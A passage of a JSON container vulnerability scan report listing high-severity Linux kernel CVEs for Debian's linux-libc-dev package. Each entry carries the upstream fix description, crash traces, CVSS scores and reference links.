"linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98769", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:98e5b8e32aa232313b2b4ac06afe8cdacc73b4a17e7bed2c48bb0dc7da84e1b2", "Title": "kernel: usb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd\n\ngeneric_set_cmd() and generic_get_cmd() use the low nibble of\nctrl-\u003ebRequest as an index into con-\u003edata[]:\n\n u8 cmd = (ctrl-\u003ebRequest \u0026 0x0F); /* 0 .. 15 */\n ...\n con-\u003edata[cmd] = value; /* OOB when cmd \u003e= 5 */\n\nstruct usb_audio_control (include/linux/usb/audio.h) declares data as\na 5-element array, so indices 5 through 15 write (or read) up to 44\nbytes past the end of the array on the heap.\n\nA malicious USB host can craft a class-specific SET_CUR / GET_CUR\nrequest with an arbitrary bRequest value, triggering the out-of-bounds\naccess from an IRQ completion handler with no further preconditions.\n\nAdd an ARRAY_SIZE() guard to both functions.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98769", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98769.mbox", "https://git.kernel.org/stable/c/36f3f009049bc91e14dc856007932473318d12f8", "https://git.kernel.org/stable/c/3e655ebe0e45b7b026a4d3e6c10586b95164b3fd", "https://git.kernel.org/stable/c/697cfe6e53b66cda196d6f8833b0ee97fefd0a8a", "https://git.kernel.org/stable/c/8c611876c002d712ae5f246af5188432c708f79d", "https://git.kernel.org/stable/c/9062d50e75c24dc7911be05c9b1719b3b256af15", "https://git.kernel.org/stable/c/da841c1511a6160b8bc6bb7b7c6d4c9fb76fb51e", "https://git.kernel.org/stable/c/f0ff630d83c12c9a97637dded1dc27558bee3760", "https://git.kernel.org/stable/c/f8a4ddc23056560dc3333839a4c6998f644db303", "https://nvd.nist.gov/vuln/detail/CVE-2026-98769", "https://www.cve.org/CVERecord?id=CVE-2026-98769" ], "PublishedDate": "2026-10-18T16:17:30.813Z", "LastModifiedDate": "2026-10-30T13:21:26.617Z" }, { "VulnerabilityID": "CVE-2026-98805", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98805", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f560853bb66e6b6fcaf5c3c28c35a4bcefa10d6e4085e1e7b62c5d31d7f2366", "Title": "kernel: tipc: prevent GCM nonce reuse on peer key changes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: prevent GCM nonce reuse on peer key changes\n\nTIPC can encrypt traffic between nodes using a different transmit key\nfor each node. In this mode, the AES-GCM nonce for a packet sent to a\nknown peer consists of a 32-bit prefix (a per-key salt XOR the peer's\naddress) followed by a 64-bit counter. That counter is stored in the\npeer's RX crypto object. When the peer reports a change in which key\nit uses to receive packets, TIPC resets this counter. The sender can\nstill be using the same TX key and salt, so subsequent packets reuse\nearlier nonces. This nonce reuse breaks confidentiality and exposes\nGCM's authentication key. This makes forgeries trivial: an attacker\ncan exploit CTR malleability to alter captured ciphertexts and use the\nrecovered authentication key to compute a valid tag for the modified\nciphertext, under the same key and nonce.\n\nUse the TX key's existing aead-\u003eseqno counter instead. All encryptions\nusing that key object share the same atomic counter, so concurrent\nencryptions get distinct nonce counter values. The counter survives\nkey activation and peer reconnection, and peer key-status reports\ncannot reset it. This prevents those transitions from causing nonce\nreuse while the same TX key remains installed.\n\nThe nonce format is unchanged, and receivers do not require consecutive\ncounter values, so sharing the counter across peers remains compatible\nwith existing receivers. A pre-existing check still invokes key\nrevocation in the unlikely event that the counter wraps to zero.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98805", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98805.mbox", "https://git.kernel.org/stable/c/04d67f77fe3f9ec9c60db70773fb1696d0d58da8", "https://git.kernel.org/stable/c/0ff0ca5b514ceecad68b8682e072f373acc5acec", "https://git.kernel.org/stable/c/512ccd3d0e91e791fb37442aa0a2599aca19783d", "https://git.kernel.org/stable/c/5c8ce13c792e28d56f9ec3cd6728d8225bc0e3a2", "https://git.kernel.org/stable/c/60e0c2aeaa605ff19ca4e65126a35643d4d7ee1c", "https://git.kernel.org/stable/c/7e5d5ac25e0857548cac963a2f850b19b2e1d59c", "https://git.kernel.org/stable/c/a85a3dce4b6c73ddaa1e9725b906249744bf7cf2", "https://git.kernel.org/stable/c/f74f100e49588c1dbdc6ab3ba9e2c67b36d015d0", "https://nvd.nist.gov/vuln/detail/CVE-2026-98805", "https://www.cve.org/CVERecord?id=CVE-2026-98805" ], "PublishedDate": "2026-10-18T16:17:34.567Z", "LastModifiedDate": "2026-10-30T13:21:28.507Z" }, { "VulnerabilityID": "CVE-2026-98853", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98853", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f07b4aa7daf69ff9f8acdd4ca8ca683d2229f44ecdea0de55a326bec18e5f4a2", "Title": "kernel: net: gso: limit recursive IP-in-IP segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gso: limit recursive IP-in-IP segmentation\n\nIP-in-IP GSO can re-enter inet_gso_segment() or ipv6_gso_segment()\nfor each nested IP header. encap_level tracks header bytes, not callback\ndepth, so a deep chain can exhaust the kernel stack. Making\ninet_gso_segment() stackable introduced unbounded IPv4 nesting; IPIP\nGSO/TSO later made the path reachable. The IPv6 stackable path was\nintroduced separately and uses the same guard.\n\nCount IPv4 and IPv6 GSO handler entries in skb_gso_cb, initialized once\nper top-level GSO operation and preserved across GRE/UDP context changes.\nUse the existing IP_TUNNEL_RECURSION_LIMIT for both handlers. The first\nfive entries pass, and the sixth returns -EINVAL before dispatching\nanother GSO callback.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98853", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98853.mbox", "https://git.kernel.org/stable/c/006c8b834aed8b02bd8fb9fb05e9e7ead37d1763", "https://git.kernel.org/stable/c/388604279da3d0698a151efa4fb6d852efa0de4a", "https://git.kernel.org/stable/c/c949646c900e879afce47df1b607fa320eb63bf2", "https://nvd.nist.gov/vuln/detail/CVE-2026-98853", "https://www.cve.org/CVERecord?id=CVE-2026-98853" ], "PublishedDate": "2026-10-18T16:17:39.733Z", "LastModifiedDate": "2026-10-30T13:21:30.87Z" }, { "VulnerabilityID": "CVE-2026-98857", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98857", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ba18b09261915378def4f50617628e9edde0b419efbbc57e3d91c3324052345", "Title": "kernel: ipvs: bound LBLCR and LBLC cache growth", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: bound LBLCR and LBLC cache growth\n\nip_vs_lblcr_new() and ip_vs_lblc_new() create cache entries for\nevery previously unseen destination address. The table max_size only\ntells the periodic collector to reclaim entries after the cache has\nalready exceeded the limit. It does not reclaim entries that the\nattacker continues to use.\n\nReject new cache entries once either table reaches max_size * 3 / 2.\nThe extra headroom lets the periodic collector catch up while the\nexisting scheduler fallback continues to use the selected destination\nwhen cache creation fails. New traffic therefore stays serviceable\nwithout growing the tables further.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98857", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98857.mbox", "https://git.kernel.org/stable/c/16c83c047ecfaf226ad81d45d77fa11a3184d0e4", "https://git.kernel.org/stable/c/2a3c3de660f96865f303fd25f1285f2ffbfd521d", "https://git.kernel.org/stable/c/31028d7b970962fbeda1e9131405c76551094300", "https://git.kernel.org/stable/c/488eaba207dd2e4c5afc65e18dc237d70f01d283", "https://git.kernel.org/stable/c/6316d17324bd4ca400c26adb7b656c6e3447c209", "https://git.kernel.org/stable/c/8b93288b4543ad5139a25a5b211a07bf755652dd", "https://git.kernel.org/stable/c/bc9ff8e64771cc32a216953fe615386f46ac1eaa", "https://git.kernel.org/stable/c/f6e9446bfb79907d3092fc45a0054b0c3b329bfe", "https://nvd.nist.gov/vuln/detail/CVE-2026-98857", "https://www.cve.org/CVERecord?id=CVE-2026-98857" ], "PublishedDate": "2026-10-18T16:17:40.15Z", "LastModifiedDate": "2026-10-30T13:21:31.347Z" }, { "VulnerabilityID": "CVE-2026-99056", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99056", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e0a1c93797e294ef718930332ddd3c47a236b438ed362c3038c163ee5c1c824f", "Title": "kernel: strparser: make sure __strp_recv isn't running before tearing down the parser", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstrparser: make sure __strp_recv isn't running before tearing down the parser\n\nThe comment above strp_done() claims that if strp is stopped,\nstrp_recv will no longer be called. That's only true if the caller has\na mechanism (eg locking) to guarantee that strp_recv() calls that\nstarted before strp_stop() have completed by the time we call\nstrp_done().\n\nThis adds a dummy lock_sock/release_sock pair to guarantee that any\nin-flight strp_recv() (which runs under either bh_lock_sock or\nlock_sock, depending if it's called from -\u003esk_data_ready or strp_work)\nhas completed.\n\nOnly espintcp can be affected by this race condition, but this patch\nmakes sure no future user of strp can have the bug.\n\nThis could crash on strp-\u003esk (\"general mode\" of strp), but this mode\nhas been here for 9 years and has never been used. It'll be gone soon,\nno point worrying about it.\n\nSwitch the stopped/paused/etc bits to u8's to avoid races between\nstrp_stop() and strp_pause/unpause().\n\nA reproducer has been published and turns the possible UAF into an\nexploit [1].", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99056", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99056.mbox", "https://git.kernel.org/stable/c/0984ebc631792acf8fff105112ee74a6b8f1efcc", "https://git.kernel.org/stable/c/61cc5dac60d50dee06cf5c7b7ab246f9c825a715", "https://git.kernel.org/stable/c/933df60a465b1b82ff92dcd6870504da90ba4e9b", "https://git.kernel.org/stable/c/9f3e9fe1b155e9b4572054d8d140586bc3512ecf", "https://git.kernel.org/stable/c/a18dd388045dc7263d99a07db9de4e0f149ca8f1", "https://git.kernel.org/stable/c/b09071e2f8460b35c7d355addad0fc7b31c6904d", "https://git.kernel.org/stable/c/d2b5f637b9b67a79a50d42614d10653c13b4e449", "https://git.kernel.org/stable/c/eaa3a29004c063d7e9d5ea55636f693f67e6db0f", "https://nvd.nist.gov/vuln/detail/CVE-2026-99056", "https://www.cve.org/CVERecord?id=CVE-2026-99056" ], "PublishedDate": "2026-10-23T13:17:29.257Z", "LastModifiedDate": "2026-10-30T13:21:42.26Z" }, { "VulnerabilityID": "CVE-2026-99109", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99109", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6592d53116dc490c7530892ee146bf14c9ce961d04c50f62afe8e7554a117025", "Title": "kernel: smb: client: reject SetEA requests that do not fit the request buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject SetEA requests that do not fit the request buffer\n\nCIFSSMBSetEA() copies the caller's extended attribute value into the\nSMB request buffer without checking that it fits. The requirement is\nstated in the source but was never implemented:\n\n\t/*BB add length check to see if it would fit in\n\t negotiated SMB buffer size BB */\n\t/* if (ea_value_len \u003e buffer_size - 512 (enough for header)) */\n\tif (ea_value_len)\n\t\tmemcpy(parm_data-\u003elist.name + name_len + 1,\n\t\t ea_value, ea_value_len);\n\nThe only bound applied on the way in is in cifs_xattr_set():\n\n\t#define MAX_EA_VALUE_SIZE CIFSMaxBufSize\n\t...\n\tif (size \u003e MAX_EA_VALUE_SIZE)\n\nCIFSMaxBufSize is the full payload capacity of the buffer, so a value\nof exactly that size leaves no room for the SMB header, the TRANS2\nparameter block, the fealist header and the EA name that are written\nahead of it in the same object.\n\nSendReceive() already enforces the correct limit on this very length:\n\n\tif (in_len \u003e CIFSMaxBufSize + MAX_CIFS_HDR_SIZE)\n\nbut it is called after the copy has taken place. An unprivileged\nsetxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte\nvalue writes 16384 bytes starting 345 bytes into a 16588-byte\ncifs_request object, ending 141 bytes past it:\n\n BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0\n Write of size 16384 at addr ffff888003aa0159 by task init/68\n __asan_memcpy+0x3c/0x60\n CIFSSMBSetEA+0xabc/0xde0\n cifs_xattr_set+0xd3a/0xff0\n __vfs_setxattr+0x13e/0x1a0\n The buggy address is located 345 bytes inside of\n allocated 16588-byte region\n\nApply SendReceive()'s limit to the assembled request before the copy\nrather than after it, and widen the byte counters so the sum cannot\nwrap before it is tested.\n\nbyte_count is also tested against U16_MAX, because it is stored in the\n16-bit pSMB-\u003eByteCount. That becomes reachable when CIFSMaxBufSize is\nraised at module load, where it may be set as high as 1024*127: with a\n5-byte EA name and a 65521-byte value, count is exactly U16_MAX while\nbyte_count is 65556, and cpu_to_le16() would truncate it to 20 and\ntransmit a frame whose ByteCount does not match its length. Testing\nbyte_count covers count as well, since byte_count is the larger of the\ntwo and count's only 16-bit consumer is written after this point.\n\ncheck_add_overflow() is evaluated first so that total_len is assigned\nbefore it is reported.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99109", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99109.mbox", "https://git.kernel.org/stable/c/4aa2c106aef4bf3dfd97c30842db0767b26e8428", "https://git.kernel.org/stable/c/79345a5d14b851e9ed28d3a9fe53301661dbcf11", "https://git.kernel.org/stable/c/9efbd764ab80fa86d2258550877a74d78a25e855", "https://nvd.nist.gov/vuln/detail/CVE-2026-99109", "https://www.cve.org/CVERecord?id=CVE-2026-99109" ], "PublishedDate": "2026-10-28T11:17:30.287Z", "LastModifiedDate": "2026-11-06T18:18:31.847Z" }, { "VulnerabilityID": "CVE-2026-99152", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9d19309da68ee4334606d32acf5c1cc436dd42f13119de7fd3afa2e99bd5d195", "Title": "kernel: kernel: Denial of Service via unvalidated task in iSCSI management responses", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the task named by a management response\n\n__iscsi_complete_pdu() fetches the task for five response types from one\nplace and checks only that the index resolved:\n\n case ISCSI_OP_LOGOUT_RSP:\n case ISCSI_OP_LOGIN_RSP:\n case ISCSI_OP_TEXT_RSP:\n case ISCSI_OP_SCSI_TMFUNC_RSP:\n case ISCSI_OP_NOOP_IN:\n task = iscsi_itt_to_task(conn, hdr-\u003eitt);\n if (!task)\n return ISCSI_ERR_BAD_ITT;\n\niscsi_itt_to_task() bounds the index against cmds_max and looks at\nnothing else, so a target can name any slot in the pool, including one\nthat has never been used. task-\u003econn is then NULL, and both\niscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One\nunsolicited NOP-In is enough; a Text Response carrying the same ITT\ncrashes in iscsi_complete_task() instead.\n\nRequire the task to be in flight and not a SCSI command, the way\niscsi_itt_to_ctask() does for the command opcodes.\n\n[ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206\n[ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020\n[ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060\n[ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\n[ 6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000\n[ 6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800\n[ 6.298707] FS: 00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000\n[ 6.298710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0\n[ 6.298712] PKRU: 55555554\n[ 6.298713] Call Trace:\n[ 6.298714] \u003cIRQ\u003e\n[ 6.298714] __iscsi_complete_pdu+0x13a8/0x22a0\n[ 6.298758] iscsi_complete_pdu+0x54/0xa0\n[ 6.298759] iscsi_tcp_hdr_recv_done+0x870/0x2c80\n[ 6.298778] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.298800] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.298804] __tcp_read_sock+0x1ab/0x810\n[ 6.298812] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.298814] tcp_rcv_established+0x1f56/0x3a00\n[ 6.298842] tcp_v4_do_rcv+0x449/0x960\n[ 6.298847] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99152", "https://git.kernel.org/stable/c/11bffcd9cb346732eab2914ef44fe777a3f0b585", "https://git.kernel.org/stable/c/55a65ef61e2775aeb18fda63bd1959fa8b41f936", "https://git.kernel.org/stable/c/5b56229cc152095fbe4e4ff537cb206c4aa41610", "https://git.kernel.org/stable/c/77134cf996bab55683f0ceafb9e300d97ac046f8", "https://git.kernel.org/stable/c/7a7a473aec51195778a54fdd71f20fda3047b8ef", "https://git.kernel.org/stable/c/bf4035656852a386fecb5d6217710a1bde536e76", "https://git.kernel.org/stable/c/e96ae694c5038aae84142b64e41b56324b7af9a7", "https://git.kernel.org/stable/c/f721487523d45941aed4b0ac8d829b0461a7d860", "https://nvd.nist.gov/vuln/detail/CVE-2026-99152", "https://www.cve.org/CVERecord?id=CVE-2026-99152" ], "PublishedDate": "2026-10-28T11:17:35.317Z", "LastModifiedDate": "2026-10-31T13:17:57.443Z" }, { "VulnerabilityID": "CVE-2026-99153", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99153", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d4e140da20b09a7f89dd8ce0d9672de7d33e1076b74b11919280ce1c0b0b3f10", "Title": "kernel: kernel: Denial of service via unvalidated task tag in iSCSI Reject PDU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi: Validate the ITT reflected in a Reject PDU\n\nA Reject PDU carries a copy of the header it rejects, and\niscsi_handle_reject() takes the ITT out of that copy to find the task to\nclean up:\n\n memcpy(\u0026rejected_pdu, data, sizeof(struct iscsi_hdr));\n ...\n task = iscsi_itt_to_task(conn, rejected_pdu.itt);\n\nThat value is whatever the target put there. iscsi_itt_to_task() bounds\nthe index against cmds_max and checks nothing else, so any task in the\npool can be named, and iscsi_nop_out_rsp() then completes it.\n\nAn index that has never been used gives a NULL task-\u003econn: the pool is\nzeroed at session setup and conn is assigned only when a task is\nallocated. If the task was used and returned, iscsi_complete_task() hits\nits WARN_ON_ONCE(task-\u003estate == ISCSI_TASK_FREE) and the refcount\nunderflows. An in-flight SCSI command is completed as successful - a 1\nMiB read returned 1048576 with none of its buffer written and no\nwarning.\n\nValidate the reflected ITT the way iscsi_itt_to_ctask() validates a\ncommand ITT, and require the task to be in flight and not a SCSI\ncommand.\n\n[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI\n[ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\n[ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)\n[ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160\n[ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00\n[ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206\n[ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25\n[ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060\n[ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504\n[ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000\n[ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000\n[ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000\n[ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0\n[ 6.255439] PKRU: 55555554\n[ 6.255564] Call Trace:\n[ 6.255674] \u003cIRQ\u003e\n[ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0\n[ 6.256733] iscsi_complete_pdu+0x54/0xa0\n[ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250\n[ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0\n[ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390\n[ 6.258061] __tcp_read_sock+0x1ab/0x810\n[ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510\n[ 6.259808] tcp_data_queue+0x1f13/0x4cd0\n[ 6.260567] tcp_rcv_established+0x8a5/0x3a00\n[ 6.261931] tcp_v4_do_rcv+0x449/0x960\n[ 6.262269] tcp_v4_rcv+0x2245/0x3bc0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99153", "https://git.kernel.org/stable/c/21ef746340ce246344f34278e205b8960c1d8874", "https://git.kernel.org/stable/c/3637a4ad1d07477f1c60609876da6b60154d224b", "https://git.kernel.org/stable/c/576125e7382a7826bd6c3c1ca4d9c582ed5be21d", "https://git.kernel.org/stable/c/7215a69b6456fda79c0935c2959045dff3fcaac8", "https://git.kernel.org/stable/c/c5958c770b2a0ee492414e26b07da9164a0d1f5d", "https://git.kernel.org/stable/c/d20583a9dbe0d32a9af8384c857c95c0fc115103", "https://git.kernel.org/stable/c/d79343ae3223b3f7f74b55e79f8a1371fa3f4b1a", "https://git.kernel.org/stable/c/ebb8c5ef2aabf66895253600e8390e8fc7094807", "https://nvd.nist.gov/vuln/detail/CVE-2026-99153", 